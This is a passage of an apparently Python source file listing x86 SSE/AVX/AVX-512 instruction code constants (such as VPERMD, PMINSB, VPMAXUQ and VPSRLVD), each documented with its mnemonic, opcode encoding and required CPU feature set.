``VPMOVQD xmm1/m128 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 35 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVQD_YMMM256_K1Z_ZMM: int = 2915
"""
``VPMOVQD ymm1/m256 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 35 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPERMD_YMM_YMM_YMMM256: int = 2916
"""
``VPERMD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 36 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPERMD_YMM_K1Z_YMM_YMMM256B32: int = 2917
"""
``VPERMD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 36 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2918
"""
``VPERMD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 36 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMQ_YMM_K1Z_YMM_YMMM256B64: int = 2919
"""
``VPERMQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 36 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2920
"""
``VPERMQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 36 /r``
``AVX512F``
``16/32/64-bit``
"""
PCMPGTQ_XMM_XMMM128: int = 2921
"""
``PCMPGTQ xmm1, xmm2/m128``
``66 0F 38 37 /r``
``SSE4.2``
``16/32/64-bit``
"""
VEX_VPCMPGTQ_XMM_XMM_XMMM128: int = 2922
"""
``VPCMPGTQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 37 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPCMPGTQ_YMM_YMM_YMMM256: int = 2923
"""
``VPCMPGTQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 37 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPCMPGTQ_KR_K1_XMM_XMMM128B64: int = 2924
"""
``VPCMPGTQ k1 {k2}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 37 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPGTQ_KR_K1_YMM_YMMM256B64: int = 2925
"""
``VPCMPGTQ k1 {k2}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 37 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPGTQ_KR_K1_ZMM_ZMMM512B64: int = 2926
"""
``VPCMPGTQ k1 {k2}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 37 /r``
``AVX512F``
``16/32/64-bit``
"""
PMINSB_XMM_XMMM128: int = 2927
"""
``PMINSB xmm1, xmm2/m128``
``66 0F 38 38 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMINSB_XMM_XMM_XMMM128: int = 2928
"""
``VPMINSB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 38 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMINSB_YMM_YMM_YMMM256: int = 2929
"""
``VPMINSB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 38 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMINSB_XMM_K1Z_XMM_XMMM128: int = 2930
"""
``VPMINSB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG 38 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMINSB_YMM_K1Z_YMM_YMMM256: int = 2931
"""
``VPMINSB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG 38 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMINSB_ZMM_K1Z_ZMM_ZMMM512: int = 2932
"""
``VPMINSB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG 38 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVM2D_XMM_KR: int = 2933
"""
``VPMOVM2D xmm1, k1``
``EVEX.128.F3.0F38.W0 38 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMOVM2D_YMM_KR: int = 2934
"""
``VPMOVM2D ymm1, k1``
``EVEX.256.F3.0F38.W0 38 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMOVM2D_ZMM_KR: int = 2935
"""
``VPMOVM2D zmm1, k1``
``EVEX.512.F3.0F38.W0 38 /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMOVM2Q_XMM_KR: int = 2936
"""
``VPMOVM2Q xmm1, k1``
``EVEX.128.F3.0F38.W1 38 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMOVM2Q_YMM_KR: int = 2937
"""
``VPMOVM2Q ymm1, k1``
``EVEX.256.F3.0F38.W1 38 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMOVM2Q_ZMM_KR: int = 2938
"""
``VPMOVM2Q zmm1, k1``
``EVEX.512.F3.0F38.W1 38 /r``
``AVX512DQ``
``16/32/64-bit``
"""
PMINSD_XMM_XMMM128: int = 2939
"""
``PMINSD xmm1, xmm2/m128``
``66 0F 38 39 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMINSD_XMM_XMM_XMMM128: int = 2940
"""
``VPMINSD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 39 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMINSD_YMM_YMM_YMMM256: int = 2941
"""
``VPMINSD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 39 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMINSD_XMM_K1Z_XMM_XMMM128B32: int = 2942
"""
``VPMINSD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 39 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMINSD_YMM_K1Z_YMM_YMMM256B32: int = 2943
"""
``VPMINSD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 39 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMINSD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2944
"""
``VPMINSD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 39 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMINSQ_XMM_K1Z_XMM_XMMM128B64: int = 2945
"""
``VPMINSQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 39 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMINSQ_YMM_K1Z_YMM_YMMM256B64: int = 2946
"""
``VPMINSQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 39 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMINSQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2947
"""
``VPMINSQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 39 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVD2M_KR_XMM: int = 2948
"""
``VPMOVD2M k1, xmm1``
``EVEX.128.F3.0F38.W0 39 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMOVD2M_KR_YMM: int = 2949
"""
``VPMOVD2M k1, ymm1``
``EVEX.256.F3.0F38.W0 39 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMOVD2M_KR_ZMM: int = 2950
"""
``VPMOVD2M k1, zmm1``
``EVEX.512.F3.0F38.W0 39 /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMOVQ2M_KR_XMM: int = 2951
"""
``VPMOVQ2M k1, xmm1``
``EVEX.128.F3.0F38.W1 39 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMOVQ2M_KR_YMM: int = 2952
"""
``VPMOVQ2M k1, ymm1``
``EVEX.256.F3.0F38.W1 39 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMOVQ2M_KR_ZMM: int = 2953
"""
``VPMOVQ2M k1, zmm1``
``EVEX.512.F3.0F38.W1 39 /r``
``AVX512DQ``
``16/32/64-bit``
"""
PMINUW_XMM_XMMM128: int = 2954
"""
``PMINUW xmm1, xmm2/m128``
``66 0F 38 3A /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMINUW_XMM_XMM_XMMM128: int = 2955
"""
``VPMINUW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 3A /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMINUW_YMM_YMM_YMMM256: int = 2956
"""
``VPMINUW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 3A /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMINUW_XMM_K1Z_XMM_XMMM128: int = 2957
"""
``VPMINUW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG 3A /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMINUW_YMM_K1Z_YMM_YMMM256: int = 2958
"""
``VPMINUW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG 3A /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMINUW_ZMM_K1Z_ZMM_ZMMM512: int = 2959
"""
``VPMINUW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG 3A /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTMW2D_XMM_KR: int = 2960
"""
``VPBROADCASTMW2D xmm1, k1``
``EVEX.128.F3.0F38.W0 3A /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPBROADCASTMW2D_YMM_KR: int = 2961
"""
``VPBROADCASTMW2D ymm1, k1``
``EVEX.256.F3.0F38.W0 3A /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPBROADCASTMW2D_ZMM_KR: int = 2962
"""
``VPBROADCASTMW2D zmm1, k1``
``EVEX.512.F3.0F38.W0 3A /r``
``AVX512CD``
``16/32/64-bit``
"""
PMINUD_XMM_XMMM128: int = 2963
"""
``PMINUD xmm1, xmm2/m128``
``66 0F 38 3B /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMINUD_XMM_XMM_XMMM128: int = 2964
"""
``VPMINUD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 3B /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMINUD_YMM_YMM_YMMM256: int = 2965
"""
``VPMINUD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 3B /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMINUD_XMM_K1Z_XMM_XMMM128B32: int = 2966
"""
``VPMINUD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 3B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMINUD_YMM_K1Z_YMM_YMMM256B32: int = 2967
"""
``VPMINUD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 3B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMINUD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2968
"""
``VPMINUD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 3B /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMINUQ_XMM_K1Z_XMM_XMMM128B64: int = 2969
"""
``VPMINUQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 3B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMINUQ_YMM_K1Z_YMM_YMMM256B64: int = 2970
"""
``VPMINUQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 3B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMINUQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2971
"""
``VPMINUQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 3B /r``
``AVX512F``
``16/32/64-bit``
"""
PMAXSB_XMM_XMMM128: int = 2972
"""
``PMAXSB xmm1, xmm2/m128``
``66 0F 38 3C /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMAXSB_XMM_XMM_XMMM128: int = 2973
"""
``VPMAXSB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 3C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMAXSB_YMM_YMM_YMMM256: int = 2974
"""
``VPMAXSB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 3C /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMAXSB_XMM_K1Z_XMM_XMMM128: int = 2975
"""
``VPMAXSB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG 3C /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMAXSB_YMM_K1Z_YMM_YMMM256: int = 2976
"""
``VPMAXSB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG 3C /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMAXSB_ZMM_K1Z_ZMM_ZMMM512: int = 2977
"""
``VPMAXSB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG 3C /r``
``AVX512BW``
``16/32/64-bit``
"""
PMAXSD_XMM_XMMM128: int = 2978
"""
``PMAXSD xmm1, xmm2/m128``
``66 0F 38 3D /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMAXSD_XMM_XMM_XMMM128: int = 2979
"""
``VPMAXSD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 3D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMAXSD_YMM_YMM_YMMM256: int = 2980
"""
``VPMAXSD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 3D /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMAXSD_XMM_K1Z_XMM_XMMM128B32: int = 2981
"""
``VPMAXSD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 3D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMAXSD_YMM_K1Z_YMM_YMMM256B32: int = 2982
"""
``VPMAXSD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 3D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMAXSD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2983
"""
``VPMAXSD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 3D /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMAXSQ_XMM_K1Z_XMM_XMMM128B64: int = 2984
"""
``VPMAXSQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 3D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMAXSQ_YMM_K1Z_YMM_YMMM256B64: int = 2985
"""
``VPMAXSQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 3D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMAXSQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2986
"""
``VPMAXSQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 3D /r``
``AVX512F``
``16/32/64-bit``
"""
PMAXUW_XMM_XMMM128: int = 2987
"""
``PMAXUW xmm1, xmm2/m128``
``66 0F 38 3E /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMAXUW_XMM_XMM_XMMM128: int = 2988
"""
``VPMAXUW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 3E /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMAXUW_YMM_YMM_YMMM256: int = 2989
"""
``VPMAXUW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 3E /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMAXUW_XMM_K1Z_XMM_XMMM128: int = 2990
"""
``VPMAXUW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG 3E /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMAXUW_YMM_K1Z_YMM_YMMM256: int = 2991
"""
``VPMAXUW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG 3E /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMAXUW_ZMM_K1Z_ZMM_ZMMM512: int = 2992
"""
``VPMAXUW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG 3E /r``
``AVX512BW``
``16/32/64-bit``
"""
PMAXUD_XMM_XMMM128: int = 2993
"""
``PMAXUD xmm1, xmm2/m128``
``66 0F 38 3F /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMAXUD_XMM_XMM_XMMM128: int = 2994
"""
``VPMAXUD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 3F /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMAXUD_YMM_YMM_YMMM256: int = 2995
"""
``VPMAXUD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 3F /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMAXUD_XMM_K1Z_XMM_XMMM128B32: int = 2996
"""
``VPMAXUD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 3F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMAXUD_YMM_K1Z_YMM_YMMM256B32: int = 2997
"""
``VPMAXUD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 3F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMAXUD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2998
"""
``VPMAXUD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 3F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMAXUQ_XMM_K1Z_XMM_XMMM128B64: int = 2999
"""
``VPMAXUQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 3F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMAXUQ_YMM_K1Z_YMM_YMMM256B64: int = 3000
"""
``VPMAXUQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 3F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMAXUQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3001
"""
``VPMAXUQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 3F /r``
``AVX512F``
``16/32/64-bit``
"""
PMULLD_XMM_XMMM128: int = 3002
"""
``PMULLD xmm1, xmm2/m128``
``66 0F 38 40 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMULLD_XMM_XMM_XMMM128: int = 3003
"""
``VPMULLD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 40 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMULLD_YMM_YMM_YMMM256: int = 3004
"""
``VPMULLD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 40 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMULLD_XMM_K1Z_XMM_XMMM128B32: int = 3005
"""
``VPMULLD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 40 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMULLD_YMM_K1Z_YMM_YMMM256B32: int = 3006
"""
``VPMULLD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 40 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMULLD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3007
"""
``VPMULLD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 40 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMULLQ_XMM_K1Z_XMM_XMMM128B64: int = 3008
"""
``VPMULLQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 40 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMULLQ_YMM_K1Z_YMM_YMMM256B64: int = 3009
"""
``VPMULLQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 40 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPMULLQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3010
"""
``VPMULLQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 40 /r``
``AVX512DQ``
``16/32/64-bit``
"""
PHMINPOSUW_XMM_XMMM128: int = 3011
"""
``PHMINPOSUW xmm1, xmm2/m128``
``66 0F 38 41 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPHMINPOSUW_XMM_XMMM128: int = 3012
"""
``VPHMINPOSUW xmm1, xmm2/m128``
``VEX.128.66.0F38.WIG 41 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VGETEXPPS_XMM_K1Z_XMMM128B32: int = 3013
"""
``VGETEXPPS xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.66.0F38.W0 42 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGETEXPPS_YMM_K1Z_YMMM256B32: int = 3014
"""
``VGETEXPPS ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.66.0F38.W0 42 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGETEXPPS_ZMM_K1Z_ZMMM512B32_SAE: int = 3015
"""
``VGETEXPPS zmm1 {k1}{z}, zmm2/m512/m32bcst{sae}``
``EVEX.512.66.0F38.W0 42 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VGETEXPPD_XMM_K1Z_XMMM128B64: int = 3016
"""
``VGETEXPPD xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F38.W1 42 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGETEXPPD_YMM_K1Z_YMMM256B64: int = 3017
"""
``VGETEXPPD ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F38.W1 42 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGETEXPPD_ZMM_K1Z_ZMMM512B64_SAE: int = 3018
"""
``VGETEXPPD zmm1 {k1}{z}, zmm2/m512/m64bcst{sae}``
``EVEX.512.66.0F38.W1 42 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VGETEXPSS_XMM_K1Z_XMM_XMMM32_SAE: int = 3019
"""
``VGETEXPSS xmm1 {k1}{z}, xmm2, xmm3/m32{sae}``
``EVEX.LIG.66.0F38.W0 43 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VGETEXPSD_XMM_K1Z_XMM_XMMM64_SAE: int = 3020
"""
``VGETEXPSD xmm1 {k1}{z}, xmm2, xmm3/m64{sae}``
``EVEX.LIG.66.0F38.W1 43 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPLZCNTD_XMM_K1Z_XMMM128B32: int = 3021
"""
``VPLZCNTD xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.66.0F38.W0 44 /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPLZCNTD_YMM_K1Z_YMMM256B32: int = 3022
"""
``VPLZCNTD ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.66.0F38.W0 44 /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPLZCNTD_ZMM_K1Z_ZMMM512B32: int = 3023
"""
``VPLZCNTD zmm1 {k1}{z}, zmm2/m512/m32bcst``
``EVEX.512.66.0F38.W0 44 /r``
``AVX512CD``
``16/32/64-bit``
"""
EVEX_VPLZCNTQ_XMM_K1Z_XMMM128B64: int = 3024
"""
``VPLZCNTQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F38.W1 44 /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPLZCNTQ_YMM_K1Z_YMMM256B64: int = 3025
"""
``VPLZCNTQ ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F38.W1 44 /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPLZCNTQ_ZMM_K1Z_ZMMM512B64: int = 3026
"""
``VPLZCNTQ zmm1 {k1}{z}, zmm2/m512/m64bcst``
``EVEX.512.66.0F38.W1 44 /r``
``AVX512CD``
``16/32/64-bit``
"""
VEX_VPSRLVD_XMM_XMM_XMMM128: int = 3027
"""
``VPSRLVD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 45 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPSRLVD_YMM_YMM_YMMM256: int = 3028
"""
``VPSRLVD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 45 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPSRLVQ_XMM_XMM_XMMM128: int = 3029
"""
``VPSRLVQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 45 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPSRLVQ_YMM_YMM_YMMM256: int = 3030
"""
``VPSRLVQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 45 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRLVD_XMM_K1Z_XMM_XMMM128B32: int = 3031
"""
``VPSRLVD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 45 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLVD_YMM_K1Z_YMM_YMMM256B32: int = 3032
"""
``VPSRLVD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 45 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3033
"""
``VPSRLVD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 45 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLVQ_XMM_K1Z_XMM_XMMM128B64: int = 3034
"""
``VPSRLVQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 45 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLVQ_YMM_K1Z_YMM_YMMM256B64: int = 3035
"""
``VPSRLVQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 45 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3036
"""
``VPSRLVQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 45 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPSRAVD_XMM_XMM_XMMM128: int = 3037
"""
``VPSRAVD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 46 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPSRAVD_YMM_YMM_YMMM256: int = 3038
"""
``VPSRAVD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 46 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRAVD_XMM_K1Z_XMM_XMMM128B32: int = 3039
"""
``VPSRAVD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 46 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAVD_YMM_K1Z_YMM_YMMM256B32: int = 3040
"""
``VPSRAVD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 46 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
